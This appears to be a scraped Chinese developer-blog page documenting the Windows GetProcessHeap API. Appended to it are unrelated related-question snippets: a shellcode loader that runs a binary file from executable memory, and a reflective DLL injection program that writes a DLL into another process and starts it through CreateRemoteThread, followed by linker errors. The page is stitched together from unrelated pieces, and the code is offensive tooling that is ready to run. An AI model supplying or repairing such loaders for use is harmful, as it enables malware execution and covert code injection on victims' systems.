GetProcessHeap()

本文详细介绍了GetProcessHeap函数的使用方法,包括其参数、返回值、注意事项以及实例演示,帮助开发者理解如何通过该函数从线程堆动态分配内存。

GetProcessHeap

这个函数返回一个指向调用线程的堆的句柄。这个句柄可以被用于函数HeapAlloc , HeapReAlloc , HeapFree , HeapSize .


HANDLE GetProcessHeap(VOID);

参数:

无。

返回值:

成功:调用函数的进程的堆句柄。

失败:NULL

更多的错误信息请调用:GetLastError()

附注:

这个函数允许你从线程的堆动态分配内存,而不必使用HeapCreare函数建立一个堆。

例子如下:

HeapAlloc(GetProcessHeap(), 0, dwBytes);

注解:调用此函数获得的句柄不应被HeapDestory函数调用。

要求:

系统版本:WinCE 1.0以上。

头文件:Winbase.h

链接库:Lmem.lib


完善编译器#include <windows.h> #include <stdio.h> int main() { // 1. 读取 shellcode 二进制文件 HANDLE hFile = CreateFile("hollow.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("Could not open file.\n"); return -1; } DWORD fileSize = GetFileSize(hFile, NULL); LPVOID fileBuffer = HeapAlloc(GetProcessHeap(), 0, fileSize); if (fileBuffer == NULL) { printf("HeapAlloc failed.\n"); CloseHandle(hFile); return -1; } DWORD bytesRead; if (!ReadFile(hFile, fileBuffer, fileSize, &bytesRead, NULL)) { printf("ReadFile failed.\n"); CloseHandle(hFile); HeapFree(GetProcessHeap(), 0, fileBuffer); return -1; } CloseHandle(hFile); // 2. 分配可执行的内存 LPVOID execMemory = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (execMemory == NULL) { printf("VirtualAlloc failed.\n"); HeapFree(GetProcessHeap(), 0, fileBuffer); return -1; } // 3. 将 shellcode 复制到可执行内存中 memcpy(execMemory, fileBuffer, fileSize); // 4. 释放文件缓冲 HeapFree(GetProcessHeap(), 0, fileBuffer); // 5. 执行 shellcode printf("Press any key to execute the shellcode...\n"); getchar(); // 暂停,让你有时间在调试器中附加进程(如果需要的话) // 将内存地址转换为函数指针并调用 ( (void (*)()) execMemory )(); // 6. 程序通常不会执行到这里,因为 shellcode 会接管流程 printf("Shellcode execution finished.\n"); VirtualFree(execMemory, 0, MEM_RELEASE); return 0; }
09-21
#include <stdio.h> #include <windows.h> #include <tlhelp32.h> #include <stdlib.h> DWORD RVAtoFileOffset(DWORD RVA, PIMAGE_NT_HEADERS pNtHeader, PIMAGE_SECTION_HEADER pSec); LPVOID GetProcAddrByName(LPVOID lpRemoteLibraryBuffer, const char* funcName, LPVOID pBuf); int main() { //先定义需要注入的dll与目标进程的名字 char Dllname[MAX_PATH] = "D:\\C#project\\反射DLL\\x64\\Debug\\反射DLL.dll"; //查找获得目标进程的id DWORD dwPid = 41424; //与普通dll注入一样,首先要做的是获取句柄 HANDLE hProc = NULL; // 打开DLL文件 HANDLE hFile = CreateFileA(Dllname, GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("\n[-] CreateFileA failed."); return FALSE; } // 获取DLL的大小 DWORD FileSize = GetFileSize(hFile, NULL); LPDWORD SizeToRead = 0; // 创建本地堆空间 LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), 0, FileSize); if (!lpBuffer) { printf("\n[-] 创建本地堆空间失败"); } // 读取文件内容到本地堆空间 DWORD dwBytesRead = 0; int result = ReadFile(hFile, lpBuffer, FileSize, &dwBytesRead, NULL); if (result == 0) { printf("\n[-] 文件读取失败"); return FALSE; } // 对接下来开辟的空间进行计算大小 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBuffer; PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBuffer + pDosHeader->e_lfanew); PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeader + sizeof(IMAGE_NT_HEADERS)); DWORD ImageSize = pNtHeader->OptionalHeader.SizeOfImage; // 打开目标进程,获得其句柄 hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); if (!hProc) { DWORD dwError = GetLastError(); printf("\n[-] OpenProcess failed. Error code: %d\n", dwError); return FALSE; } // 申请一块保护属性为PAGE_EXECUTE_READWRITE的内存空间 LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProc, NULL, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpRemoteLibraryBuffer == NULL) { printf("\n[-] 内存分配失败, 错误代码: %d", GetLastError()); return FALSE; } //将dll文件写入进去 if (!WriteProcessMemory(hProc, lpRemoteLibraryBuffer, lpBuffer, FileSize, NULL)) { printf("\n[-] 写入失败,错误代码: %d", GetLastError()); return FALSE; } // 假设 ReflectLoader 是目标函数名 const char* ReflectiveLoaderName = "ReflectiveLoader"; // 获取 ReflectLoader 在目标进程内存中的地址 LPVOID pReflectLoader = GetProcAddrByName(lpRemoteLibraryBuffer, ReflectiveLoaderName, lpBuffer); if (!pReflectLoader) { printf("[-] Failed to find ReflectLoader.\n"); VirtualFreeEx(hProc, lpRemoteLibraryBuffer, 0, MEM_RELEASE); return FALSE; } // 调用 ReflectLoader 函数 HANDLE hThread = CreateRemoteThread(hProc,NULL,0, (LPTHREAD_START_ROUTINE)pReflectLoader, NULL,0,NULL); if (!hThread) { printf("\n[-] CreateRemoteThread failed: %d", GetLastError()); VirtualFreeEx(hProc, lpRemoteLibraryBuffer, 0, MEM_RELEASE); return FALSE; } printf("\n[+] ReflectLoader executed successfully."); // 等待线程执行完成 WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); VirtualFreeEx(hProc, lpRemoteLibraryBuffer, 0, MEM_RELEASE); return TRUE; } //作用:RVA->文件偏移地址 //公式:文件偏移 = 节区文件起始地址(PointerToRawData) + (RVA - 节区虚拟起始地址(VirtualAddress)) DWORD RVAtoFileOffset(DWORD RVA, PIMAGE_NT_HEADERS pNtHeader, PIMAGE_SECTION_HEADER pSec) { // 遍历节区表 DWORD SectionNumber = pNtHeader->FileHeader.NumberOfSections; for (int i = 0; i < SectionNumber; i++) { // 检查RVA是否在当前节区的范围内 if (RVA >= pSec[i].VirtualAddress && RVA < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) { // 转换RVA到文件偏移地址 return pSec[i].PointerToRawData + (RVA - pSec[i].VirtualAddress); } } // 如果未找到对应的节区,返回无效值 return 0xFFFFFFFF; } //作用:该函数通过导出表获得指定函数的地址 LPVOID GetProcAddrByName(LPVOID lpRemoteLibraryBuffer, const char* funcName, LPVOID pBuf){ //定位一些相关文件头 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf; PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew); PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeader + sizeof(IMAGE_NT_HEADERS)); //获取导出表地址及大小,注意这里是RVA DWORD exportDirRVA = pNtHeader->OptionalHeader.DataDirectory[0].VirtualAddress; DWORD exportDirSize = pNtHeader->OptionalHeader.DataDirectory[0].Size; //定位导出表 //得到的偏移地址是RVA,但是咱们的文件现在只是磁盘文件,所以需要转换为文件偏移 DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeader, pSec); //转换之后RVA就变成了文件偏移,然后再定位 PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset); //解析导出表,这里同理都是RVA DWORD pRNames = pExportDir->AddressOfNames; DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeader, pSec); DWORD* pNames = (DWORD*)((PBYTE)pBuf + pFNames); DWORD pRFunctions = pExportDir->AddressOfFunctions; DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeader, pSec); DWORD* pFunctions = (DWORD*)((PBYTE)pBuf + pFFunctions); WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals; WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeader, pSec); WORD* pNameOrdinals = (WORD*)((PBYTE)pBuf + pFFunctions); // 遍历查找目标函数 DWORD funcRVA = 0; for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) { DWORD functionNameRVA = pNames[i]; DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeader, pSec); const char* pName = (char*)((PBYTE)pBuf + functionNameFileOffset); if (strcmp(pName, funcName) == 0) { funcRVA = pFunctions[i]; break; } } if (funcRVA == 0) { printf("\n[-] Function %s not found.", funcName); return NULL; } DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeader, pSec);; DWORD* pfileOffset = (DWORD*)((PBYTE)pBuf + fileOffset); if (fileOffset == 0) { printf("\n[-] Failed to convert RVA to file offset."); return NULL; } // 返回函数的地址 LPVOID remoteFuncAddr = (LPBYTE)lpRemoteLibraryBuffer + fileOffset; return remoteFuncAddr; }严重性 代码 说明 项目 文件 行 禁止显示状态 详细信息 错误 LNK2019 无法解析的外部符号 __imp___acrt_iob_func,函数 printf 中引用了该符号 Project5 C:\Users\17116\source\repos\Project5\Project5\源.obj 1 错误 LNK2019 无法解析的外部符号 __imp___stdio_common_vfprintf,函数 _vfprintf_l 中引用了该符号 Project5 C:\Users\17116\source\repos\Project5\Project5\源.obj 1 错误 LNK2019 无法解析的外部符号 strcmp,函数 "void * __cdecl GetProcAddrByName(void *,char const *,void *)" (?GetProcAddrByName@@YAPEAXPEAXPEBD0@Z) 中引用了该符号 Project5 C:\Users\17116\source\repos\Project5\Project5\源.obj 1 错误 LNK2019 无法解析的外部符号 _CrtDbgReport,函数 _CRT_RTC_INIT 中引用了该符号 Project5 C:\Users\17116\source\repos\Project5\Project5\MSVCRTD.lib(init.obj) 1 错误 LNK2019 无法解析的外部符号 _CrtDbgReportW,函数 _CRT_RTC_INITW 中引用了该符号 Project5 C:\Users\17116\source\repos\Project5\Project5\MSVCRTD.lib(init.obj) 1 错误 LNK2019 无法解析的外部符号 strcpy_s,函数 "void __cdecl _RTC_StackFailure(void *,char const *)" (?_RTC_StackFailure@@YAXPEAXPEBD@Z) 中引用了该符号 Project5 C:\Users\17116\source\repos\Project5\Project5\MSVCRTD.lib(error.obj) 1 错误 LNK2019 无法解析的外部符号 strcat_s,函数 "void __cdecl _RTC_StackFailure(void *,char const *)" (?_RTC_StackFailure@@YAXPEAXPEBD@Z) 中引用了该符号 Project5 C:\Users\17116\source\repos\Project5\Project5\MSVCRTD.lib(error.obj) 1 错误 LNK2019 无法解析的外部符号 __stdio_common_vsprintf_s,函数 _vsprintf_s_l 中引用了该符号 Project5 C:\Users\17116\source\repos\Project5\Project5\MSVCRTD.lib(error.obj) 1 错误 LNK2001 无法解析的外部符号 __C_specific_handler_noexcept Project5 C:\Users\17116\source\repos\Project5\Project5\MSVCRTD.lib(error.obj) 1 错误 LNK2019 无法解析的外部符号 _wmakepath_s,函数 "int __cdecl GetPdbDllPathFromFilePath(wchar_t const *,wchar_t *,unsigned __int64)" (?GetPdbDllPathFromFilePath@@YAHPEB_WPEA_W_K@Z) 中引用了该符号 Project5 C:\Users\17116\source\repos\Project5\Project5\MSVCRTD.lib(pdblkup.obj) 1 错误 LNK2019 无法解析的外部符号 _wsplitpath_s,函数 "int __cdecl GetPdbDllPathFromFilePath(wchar_t const *,wchar_t *,unsigned __int64)" (?GetPdbDllPathFromFilePath@@YAHPEB_WPEA_W_K@Z) 中引用了该符号 Project5 C:\Users\17116\source\repos\Project5\Project5\MSVCRTD.lib(pdblkup.obj) 1 错误 LNK2019 无法解析的外部符号 wcscpy_s,函数 "int __cdecl GetPdbDllPathFromFilePath(wchar_t const *,wchar_t *,unsigned __int64)" (?GetPdbDllPathFromFilePath@@YAHPEB_WPEA_W_K@Z) 中引用了该符号 Project5 C:\Users\17116\source\repos\Project5\Project5\MSVCRTD.lib(pdblkup.obj) 1 错误 LNK2019 无法解析的外部符号 __vcrt_GetModuleFileNameW,函数 "struct HINSTANCE__ * __cdecl GetPdbDll(void)" (?GetPdbDll@@YAPEAUHINSTANCE__@@XZ) 中引用了该符号 Project5 C:\Users\17116\source\repos\Project5\Project5\MSVCRTD.lib(pdblkup.obj) 1 错误 LNK2019 无法解析的外部符号 __vcrt_GetModuleHandleW,函数 "struct HINSTANCE__ * __cdecl GetPdbDll(void)" (?GetPdbDll@@YAPEAUHINSTANCE__@@XZ) 中引用了该符号 Project5 C:\Users\17116\source\repos\Project5\Project5\MSVCRTD.lib(pdblkup.obj) 1 错误 LNK2019 无法解析的外部符号 __vcrt_LoadLibraryExW,函数 "struct HINSTANCE__ * __cdecl GetPdbDll(void)" (?GetPdbDll@@YAPEAUHINSTANCE__@@XZ) 中引用了该符号 Project5 C:\Users\17116\source\repos\Project5\Project5\MSVCRTD.lib(pdblkup.obj) 1 错误 LNK1120 15 个无法解析的外部命令 Project5 C:\Users\17116\source\repos\Project5\x64\Debug\Project5.exe 1
最新发布
11-20
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值